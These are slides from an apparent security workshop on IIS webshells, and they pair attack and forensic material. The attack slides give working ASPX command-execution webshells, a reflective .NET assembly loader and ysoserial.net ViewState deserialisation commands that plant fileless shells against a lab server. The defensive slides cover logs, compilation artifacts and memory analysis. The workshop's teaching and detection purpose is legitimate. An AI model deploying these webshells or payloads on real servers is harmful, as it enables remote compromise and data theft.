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Whoami



• Develop Basic webshell
• Bypass basic detections
• Reflectively load .NET 

assemblies
• Fileless code execution

• Detect Webshells
• Reverse engineering 

Webshells
• Analysing compilation 

artifacts
• Analysing IIS memory

Why are we here?



Setup



Setup - Windows Server



Setup - Windows Server



Setup - Verification



• Webroot: C:\inetpub\wwwroot

Setup - Permissions



• Powers around 8% of the public Internet

• Used internally by many organisations for email (Microsoft Exchange) and 
collaboration (SharePoint)

• Components
• Servers
• Application pools
• Sites
• Applications
• Virtual Directories

• Application Pools
• Determine the identity a web app runs under
• Controls the IIS worker process (w3wp.exe) of one or more webapps

Microsoft IIS



Microsoft IIS – Application Pools



Microsoft IIS – Application Pools



Microsoft IIS – Application Pools



// Language definition

<%@ Page Language="C#" Debug="true" %>

// Imports

<%@ Import Namespace="System.Diagnostics" %>

// Code block

<%

// Do interesting stuff

%>

IIS file formats - ASPX



• What's the difference between DatabaseHealthChecker.exe and cmd.exe?

• What's the difference between users.csv and passwords.txt?

• The fundamental difference between a webscript and a webshell is 
authorisation
• Your web server doesn't know the difference

• Webshells typically include some form of input for control
• Parameters
• Headers
• Cookies
• Request body

Webshells



Let's write a webshell!



<%@ Page Language="C#" Debug="true" %>

<%@ Import Namespace="System.Diagnostics" %>

<%

Process process = new Process();

process.StartInfo.FileName = "cmd";

process.StartInfo.Arguments = "/c whoami";

process.StartInfo.UseShellExecute = false;

process.StartInfo.RedirectStandardOutput = true;

process.StartInfo.RedirectStandardError =true;

process.Start();

string output = process.StandardOutput.ReadToEnd();

string error = process.StandardError.ReadToEnd();

process.WaitForExit();

Response.Write(output);

Response.Write(error);

%>

CMD Shell Code

https://zeroed.tech/blog/bsides-2024-code/#cmd-shell


CMD Shell

https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.page?view=netframework-4.8.1

https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.page?view=netframework-4.8.1


CMD Shell

<%@ Page Language="C#" Debug="true" %>

<%

System.Diagnostics.Process process = new System.Diagnostics.Process();

process.StartInfo.FileName = "cmd";

process.StartInfo.Arguments = "/c whoami";

process.StartInfo.UseShellExecute = false;

process.StartInfo.RedirectStandardOutput = true;

process.StartInfo.RedirectStandardError = true;

process.Start();

string output = process.StandardOutput.ReadToEnd();

string error = process.StandardError.ReadToEnd();

process.WaitForExit();

Response.Write(output);

Response.Write(error);

%>



• Save your shell to your webroot
• Default webroot is C:\inetpub\wwwroot\
• Browse to http://127.0.0.1/cmd.aspx

CMD Shell Test

http://127.0.0.1/cmd.aspx


• Get a CMD shell working

• Experiment with different commands. 
• Are there any readability issues?

• What are some enhancements we could add?

Exercise



Enhancements - Parameters

- process.StartInfo.Arguments = "/c whoami";

+ process.StartInfo.Arguments = "/c "+Request.Params["cmd"];

Code

https://zeroed.tech/blog/bsides-2024-code/#cmd-shell---parameters


Enhancements - Readability



Enhancements - Readability

+ Response.Write("<pre>");

Response.Write(output);

Response.Write(error);

+ Response.Write("</pre>");

Code

https://zeroed.tech/blog/bsides-2024-code/#cmd-shell---pre-formatting


Enhancements - Readability
+ <%@ Import Namespace="System.Web" %>

<%

...

Response.Write("<pre>");

* Response.Write(HttpUtility.HtmlEncode(output));

* Response.Write(HttpUtility.HtmlEncode(error));

Response.Write("</pre>");

...

%>

Code

https://zeroed.tech/blog/bsides-2024-code/#cmd-shell---encoding


o Implement parameters
o Improve the readability of your shell

Exercise



• Contains all the functionality needed without needing to shell out

The All-In-One Shell
<%@ Page Language = "C#" Debug="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>

<%
var output = "";
var error = "";
switch (Request.Params["function"])
{

case "cmd":
{

Process process = new Process();
…
output += process.StandardOutput.ReadToEnd();
error += process.StandardError.ReadToEnd();
process.WaitForExit();
break;

}
}

Response.Write("<pre>");
Response.Write(HttpUtility.HtmlEncode(output));
Response.Write(HttpUtility.HtmlEncode(error));

Response.Write("</pre>");
%>

Code

https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---cmd


• Contains all the functionality needed without needing to shell out

The All-In-One Shell



The All-In-One Shell - whoami
<%@ Import Namespace="System.Security.Principal" %>

…

case "whoami":{

string userName = WindowsIdentity.GetCurrent().Name;

string sid = WindowsIdentity.GetCurrent().Owner.ToString();

output += "User: "+userName+"\nSID: "+sid;

break;

}

Code

https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---whoami


The All-In-One Shell - dir
<%@ Import Namespace="System.IO" %>

…

case "dir":{

StringBuilder sb = new StringBuilder();

var targetPath = Request.Params["path"];

var formatString = "{0,-25}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}";

sb.AppendLine(string.Format(formatString, "Name", "Last Access Time", "Last Write Time", "Creation Time", "Size"));

sb.AppendLine("==================================================================================================================");

foreach(var path in Directory.GetDirectories(targetPath))

{

var directory = new DirectoryInfo(path);

sb.AppendLine(string.Format(formatString, directory.Name, directory.LastAccessTimeUtc, directory.LastWriteTimeUtc, 

directory.CreationTimeUtc, ""));

}

foreach (var path in Directory.GetFiles(targetPath))

{

var file = new FileInfo(path);

sb.AppendLine(string.Format(formatString, file.Name, file.LastAccessTimeUtc, file.LastWriteTimeUtc, file.CreationTimeUtc, file.Length));

}

output += sb.ToString();

break;

}

Code

https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---dir


The All-In-One Shell - dir



• Much more stealthy than a CMD shell

• Provides more control over data output

• EXERCISE
• Implement and test whoami and dir
• Try implementing a file reader

The All-In-One Shell



Investigating a basic webshell



Forensic Order of Volatility

• Registers and Cache

• RAM (Memory)

• Temporary File Systems

• Disk Storage

• Backups

Webshell Order of Volatility

• Snapshot

• Process memory

• Temporary compilation artifacts

• Files in web roots
• DFRS

• Logs

• Backups

The webshell order of volatility



• C:\inetpub\logs\LogFiles\

FILE: cmd.aspx

PATH: C:\inetpub\wwwroot

Investigation - Logs



Investigation - Webshell Compilation Artifacts



Investigation - Webshell Compilation Artifacts



Investigation - Webshell Compilation Artifacts



Investigation - Webshell Compilation Artifacts



Investigation - Webshell Compilation Artifacts



• Very rare to find

• Shell declared with <%@ Page Language="C#" Debug="true" %>

• IIS doesn't cleanup until a request is made

Investigation - Debug Shells



Investigation



Investigation - Assemblies
https://github.com/dnSpyEx/dnSpy

https://github.com/dnSpyEx/dnSpy


• All ASPX files compiled into one assembly

• Modification of any ASPX causes recompilation of 
all

• Old assemblies aren't deleted until IIS terminates
• Might be able to diff assemblies to work out what

changed
• If the change was within webshell code, 

the timestamp may be relevant

Investigation - Assemblies



Investigation - Assemblies



Investigation - Assemblies



Decompiled Source



• Review your IIS logs under C:\inetpub\logs\LogFiles\

• Review .cs files under the code gen directory 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET 
Files\root\[RAND]\[RAND]

• Install DNSpy and analyse an App_Web_[RAND].dll file from the code gen 
directory

Exercise



Investigation - Process Trees

• Webshell in webroot
• Intermediate compilation files (if debugging enabled)
• Decompiling compiled webshells

• Commands in GET parameters



Reflectively loading .NET assemblies



• Load a file from disk
• Assembly.LoadFile("filepath"); [1]

• Global Assembly Cache (GAC)
• Assembly.Load("ASM Name"); [2]

• Load a byte array
• Assembly.Load(byte[]); [3]

Loading Assemblies

[1] https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile

[2] https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?#system-reflection-assembly-load(system-string)

[3] https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?#system-reflection-assembly-load(system-byte())

https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile
https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?#system-reflection-assembly-load(system-string)
https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile


.NET Reflection Webshell

<%@ Page Language="C#"%>

<%@ Import Namespace="System.Reflection" %>

<%

var encodedAssembly = Convert.FromBase64String(Request.Params["asm"]);

var asm = Assembly.Load(encodedAssembly);

asm.CreateInstance("Payload");

//Assembly.Load(Convert.FromBase64String(Request.Params["asm"])).CreateInstance("Payload");

%>

Code

https://zeroed.tech/blog/bsides-2024-code/#net-reflection-webshell


.NET Reflection Payload - Visual Studio



.NET Reflection Payload - Visual Studio



.NET Reflection Payload - Visual Studio



using System.Web;

public class Payload
{

public Payload()
{

var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

var param = Request.Params["name"];
Response.Write($"Hello {param}");

}
}

.NET Reflection Payload - Visual Studio Code

https://zeroed.tech/blog/bsides-2024-code/#payload---hello


using System.Web;

public class Payload
{

public Payload()
{

var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

var param = Request.Params["name"];
Response.Write($"Hello {param}");

}
}

.NET Reflection Payload - Visual Studio

● Build > Build [PROJECT NAME]



using System.Web;

public class Payload
{

public Payload()
{

var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

var param = Request.Params["name"];
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}
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using System.Web;

public class Payload
{

public Payload()
{

var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

var param = Request.Params["name"];
Response.Write($"Hello {param}");

}
}

.NET Reflection Payload - Visual Studio

● Build > Build [PROJECT NAME]



.NET Reflection Payload - Manual
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library .\payload.cs

- HttpContext.Current.Response.Write($"Hello {param}");
+ HttpContext.Current.Response.Write("Hello "+param);



.NET Reflection Payload - Encoding

• Assembly needs to be Base64 encoded
• Cyber Chef
• PowerShell

• [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\path\payload.dll"));

• http://127.0.0.1/reflection.aspx?name=zeroed&asm=[b64 
string]



• This command:
• Base64 encodes our assembly
• Sends a POST request to our webshell including:

• Out encoded assembly
• Our name parameter

• Displays the output

$asm = [Convert]::ToBase64String([IO.File]::ReadAllBytes("ASM PATH"))
$payload = @{asm=$asm; name="Name"}
Invoke-WebRequest -Uri http://127.0.0.1/reflection.aspx -Method POST -Body
$payload | select -Expand Content

.NET Reflection Payload - Encoding Command

https://zeroed.tech/blog/bsides-2024-code/#reflectively-load-assembly-via-powershell


• This command:
• Base64 encodes our assembly
• Sends a POST request to our webshell including:

• Out encoded assembly
• Our name parameter

• Displays the output

$asm = [Convert]::ToBase64String([IO.File]::ReadAllBytes("ASM PATH"))
$payload = @{asm=$asm; name="Name"}
Invoke-WebRequest -Uri http://127.0.0.1/reflection.aspx -Method POST -Body
$payload | select -Expand Content

.NET Reflection Payload - Encoding Command

https://zeroed.tech/blog/bsides-2024-code/#reflectively-load-assembly-via-powershell


.NET Reflection Payload - dir
using System.IO;
using System.Text;
using System.Web;

public class Payload
{

public Payload()
{

var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

StringBuilder sb = new StringBuilder();
var targetPath = Request.Params["path"];
var formatString = "{0,-25}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}";
sb.AppendLine(string.Format(formatString, "Name", "Last Access Time", "Last Write Time", "Creation Time", "Size"));
sb.AppendLine("==================================================================================================================");
foreach (var path in Directory.GetDirectories(targetPath))
{

var directory = new DirectoryInfo(path);
sb.AppendLine(string.Format(formatString, directory.Name, directory.LastAccessTimeUtc, directory.LastWriteTimeUtc, 

directory.CreationTimeUtc, ""));
}

foreach (var path in Directory.GetFiles(targetPath))
{

var file = new FileInfo(path);
sb.AppendLine(string.Format(formatString, file.Name, file.LastAccessTimeUtc, file.LastWriteTimeUtc, file.CreationTimeUtc, file.Length));

}
Response.Write(sb.ToString());

}
}

Code

https://zeroed.tech/blog/bsides-2024-code/#payload---dir


.NET Reflection Payload - dir



• Reflection based payloads allow for targeted capability deployment

• Reduced risk to attackers toolset

• Nicer development environment

• Easier to test external to IIS

• Better

.NET Reflection Payload - Conclusion



Investigating Reflection



Investigating .NET Reflection - IIS Logs



Investigating .NET Reflection - Loaded assemblies



Investigating .NET Reflection – Artifacts



Investigating .NET Reflection – Decompilation



Investigating .NET Reflection – Decompilation



Investigating .NET Reflection - Memory acquisition

Dump Dir: %localappdata%\Temp\



• Windows Desktop
• https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/

• Windows Server
• https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-

0/windbg.msixbundle
• Add-AppxPackage .\windbg.msixbundle (From PowerShell)

• NetExt WinDBG Plugin
• https://github.com/rodneyviana/netext/releases/tag/2.1.65.5000

• x64\*  =>  %localappdata%\DBG\EngineExtensions
• x86\*  =>  %localappdata%\DBG\EngineExtensions32

Investigating .NET Reflection - Installing WinDBG

https://x.com/awakecoding/status/1734654111117631929

https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://x.com/awakecoding/status/1734654111117631929


• Windows Desktop
• https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/

• Windows Server
• https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-

0/windbg.msixbundle
• Add-AppxPackage .\windbg.msixbundle (From PowerShell)

• NetExt WinDBG Plugin
• https://github.com/rodneyviana/netext/releases/tag/2.1.65.5000

• x64\*  =>  %localappdata%\DBG\EngineExtensions
• x86\*  =>  %localappdata%\DBG\EngineExtensions32

Investigating .NET Reflection - Installing WinDBG

https://x.com/awakecoding/status/1734654111117631929

https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://x.com/awakecoding/status/1734654111117631929


NetExt - !whttp



NetExt - !whttp



• Dumps all valid modules in the current memory dump

• Very verbose

• -saveto to save modules to disk

• -managed to exclude native modules

• -noms to exclude Microsoft modules

NetExt - !wmodule



• Dumps all valid modules in the current memory dump

• Very verbose

• -saveto to save modules to disk

• -managed to exclude native modules

• -noms to exclude Microsoft modules

NetExt - !wmodule



NetExt - !wmodule



View State Exploitation



• State management system for ASP applications
• Maintains component state within page
• Does not cross page boundaries

• Created by server and sent in response

• Sent by browser back to server on form submission

• Stored as a hidden field called __VIEWSTATE
• Value is Base64 encoded
• Usually not encrypted
• Usually doesn’t contain useful information

An Introduction to View State



• Serialisation <=> Deserialisation
• Serialisation = Object/data structure => String/binary
• Deserialisation = String/binary => Object/data structure
• E.g. xml, json, yaml etc

Deserialisation Exploitation



• Base64Enc(ObjectStateFormatter serialised object tree + validation value)

• ObjectStateFormatter
• BinarryFormatter

View State Structure



• Encrypt and Authenticate
• View states are encrypted and signed with a Machine Authentication Code 

(MAC)
• Prevents tampering and inspection
• Rare to see

• Authenticate
• View states are signed with a MAC
• Prevents tampering
• Default

• None
• Game Over

View State Security



IIS Machine Keys

• No used exclusively for View State
• Validation Key

• Used for signing messages and verifying their signature

• Decryption Key
• Used for encrypting and decrypting messages

https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-

being-actively-exploited/

https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
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IIS Machine Keys

• No used exclusively for View State
• Validation Key

• Used for signing messages and verifying their signature

• Decryption Key
• Used for encrypting and decrypting messages
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https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/


View State Exploitation
• What we’ll need

• Validation Key
• Validation Algorithm
• Target Path
• Application Path

https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab

https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab


• What we’ll need
• Validation Key

• 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96
E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F3873
2D

• Validation Algorithm
• Target Path
• Application Path

View State Exploitation



• What we’ll need
• Validation Key

• 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96
E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F3873
2D

• Validation Algorithm
• HMACSHA256

• Target Path
• Application Path

View State Exploitation



• What we’ll need
• Validation Key

• 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96
E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F3873
2D

• Validation Algorithm
• HMACSHA256

• Target Path
• /keys.aspx

• Application Path
• /

View State Exploitation



• -p ViewState – Use YsoSerial.NET’s View State plugin

• -g TextFormattingRunProperties – Specifies the .NET gadget to use

• -c "cmd /c XXX" – The command to run when our payload is deserialised

• --validationkey – The validation key we extracted

• --validationalg – The algorithm used to sign our payload

• --path – The page we will send our payload to

• --apppath – The path of the application we are targeting

• --islegacy – Use legacy crypto APIs when signing payload

YSoSerial.NET
https://github.com/pwntester/ysoserial.net

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "COMMAND" --
validationalg="VALIDATIONALGORITHM" --path="TARGETPATH" --apppath="APPLICATIONPATH"
--validationkey="VALIDATIONKEY" --islegacy --isdebug



• -p ViewState – Use YsoSerial.NET’s View State plugin

• -g TextFormattingRunProperties – Specifies the .NET gadget to use

• -c "cmd /c XXX" – The command to run when our payload is deserialised

• --validationkey – The validation key we extracted

• --validationalg – The algorithm used to sign our payload

• --path – The page we will send our payload to

• --apppath – The path of the application we are targeting

• --islegacy – Use legacy crypto APIs when signing payload

YSoSerial.NET
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami > 
C:\\users\\public\\exploited.txt" --validationalg="HMACSHA256" --path="/keys.aspx" 
--apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96E0A049
3B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --islegacy

Command

https://zeroed.tech/blog/bsides-2024-code/#ysoserial---command-execution


View State Exploitation

• http://127.0.0.1/keys.aspx?__VIEWSTATE=[PAYLOAD]



View State Exploitation



Reflectively loading .NET assemblies via ViewState
.\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "" --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96E0A0493B5C
1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --islegacy --showraw

• -g ActivitySurrogateDisableTypeCheck – Specifies the .NET gadget to use

• -c "" – Any value, Ysoserial just needs the -c argument to be present

• --showraw – Don’t URL encode the output

Command

https://zeroed.tech/blog/bsides-2024-code/#ysoserial---disabling-type-checking


Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c
"" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm;} | select -Expand Content



Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c
"" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm;} | select -Expand Content



Reflectively loading .NET assemblies via ViewState
.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c 
".\payload.cs;System.dll;System.Web.dll" --validationalg="HMACSHA256" --
path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96E0A0493B5C
1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --islegacy --showraw

• -g ActivitySurrogateSelectorFromFile – Specifies the .NET gadget to use

• -c "Payload.cs;Imports" – The path to your payload.cs file followed by any 
assemblies it needs to be linked against

• --showraw – Don’t URL encode the output

Command

https://zeroed.tech/blog/bsides-2024-code/#ysoserial---reflectively-loading-net-assembly


Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"C:\inetpub\wwwroot\payload.cs;System.dll;System.Web.dll" --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm; path="C:\"} | select -Expand Content
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validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm; path="C:\"} | select -Expand Content



Reflectively loading .NET assemblies via ViewState

Response.Write(sb.ToString());

+ Response.End();



Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"C:\inetpub\wwwroot\payload.cs;System.dll;System.Web.dll" --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
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Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm; path="C:\"} | select -Expand Content



Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"C:\inetpub\wwwroot\payload.cs;System.dll;System.Web.dll" --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm; path="C:\"} | select -Expand Content
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Fileless webshells via ViewState
Code

https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---dir
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Fileless webshells via ViewState
.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c 
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runt
ime.Extensions.dll" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96E0A0493B5C
1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --islegacy --showraw

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dl
l;System.Runtime.Extensions.dll" --validationalg="HMACSHA256" --
path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm;} | select -Expand Content

Command

https://zeroed.tech/blog/bsides-2024-code/#ysoserial---ghostshell


Fileless webshells via ViewState
.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c 
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runt
ime.Extensions.dll" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96E0A0493B5C
1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --islegacy --showraw

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dl
l;System.Runtime.Extensions.dll" --validationalg="HMACSHA256" --
path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96E0A0493B5C1927E42EBB963ECF8F9CDCCE6C03DE0C0418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm;} | select -Expand Content

Command

https://zeroed.tech/blog/bsides-2024-code/#ysoserial---ghostshell


• http://127.0.0.1/[DIRECTORY]/[ANYTHING].aspx?[PARAMS]

Fileless webshells via ViewState



• http://127.0.0.1/[DIRECTORY]/[ANYTHING].aspx?[PARAMS]

Fileless webshells via ViewState



• Poorly understood

• Difficult to exploit

• Difficult to analyse

• Difficult to remediate

• Cannot be patched

• Cannot be disabled

ViewState Conclusion



View State Investigation



• IIS Logs
• Most payloads requite POST requests

• Windows Event Logs
• Only one event available

• Memory
• Required a bit of luck
• Memory must be captured close to the time of the activity

View State Investigation



View State Investigation – IIS Logs



• Application.evtx
• Event ID 1316
• Source ASP.NET 4.0.30319.0

• Event includes
• The time of the request
• The targeted application pool
• The targeted page
• The request URL
• The attackers IP (or more likely the load 

balancer’s IP )
• The payload!

• The fact this event exists means 
exploitation was successful

View State Investigation – Windows Event Logs
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• Application.evtx
• Event ID 1316
• Source ASP.NET 4.0.30319.0

• Event includes
• The time of the request
• The targeted application pool
• The targeted page
• The request URL
• The attackers IP (or more likely the load 

balancer’s IP )
• The payload!

• The fact this event exists means 
exploitation was successful

View State Investigation – Windows Event Logs



View State Investigation – Loaded Assemblies



View State Investigation – Files
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View State Investigation – Files



• Manually
• !whttp
• Select session
• Dump HttpContext fields
• _request
• _queryStringText

View State Investigation – Memory
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• Manually
• !whttp
• Select session
• Dump HttpContext fields
• _request
• _queryStringText

View State Investigation – Memory



• Being actively exploited

• Well crafted payloads prevent Windows Event logs being generated

• IIS logs don’t contain anything useful

• Remediation is difficult

View State – Conclusion

https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/



Wrapping up



• Jscript, VB script, C# => Jscript eval, Dynamic C#

• Fileless webshells

• Custom tasking/parameter parsing

• Event Tracing for Windows for IIS and .NET

• Advanced, automated and custom memory analysis

• Advanced .NET assembly analysis

• Malicious IIS frameworks

• Advanced logging

The journey continues



Training coming 2025
Feedback https://forms.gle/Zws8KzWS3Ppa2bTp7
Training enquiries: training@zeroed.tech
Questions: adrian@zeroed.tech
Blog/Training: https://zeroed.tech
Twitter: @zeroedtech

https://forms.gle/Zws8KzWS3Ppa2bTp7
mailto:training@zeroed.tech
mailto:adrian@zeroed.tech
https://zeroed.tech/
https://x.com/Zeroedtech
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